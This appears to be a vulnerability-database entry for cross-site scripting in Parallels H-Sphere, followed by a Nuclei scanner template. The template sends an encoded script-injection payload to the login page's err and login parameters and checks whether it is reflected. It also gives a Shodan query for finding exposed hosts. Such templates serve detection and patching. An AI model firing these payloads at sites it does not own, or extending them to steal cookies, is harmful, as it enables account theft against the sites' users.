Parallels H-Sphere contains multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
PoC代码[已公开]
id: parallels-hsphere-xss
info:
name: Parallels H-Sphere - Cross-Site Scripting
author: ritikchaddha
severity: high
description: |
Parallels H-Sphere contains multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
reference:
- https://www.exploit-db.com/exploits/32396
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
cpe: cpe:2.3:a:parallels:h-sphere:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: title:"h-sphere"
product: h-sphere
vendor: parallels
tags: hsphere,xss,edb,parallels
http:
- method: GET
path:
- '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- 'value="\"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a00463044022060426fa18093ec3eb0a74b1587d71501c9310c3b89cc757ee4a038e6d07180380220599ac90689fc1d417dbde26ccdb6f0792f492692096911d3e7b4bd90cda3980e:922c64590222798bb761d5b6d8e72950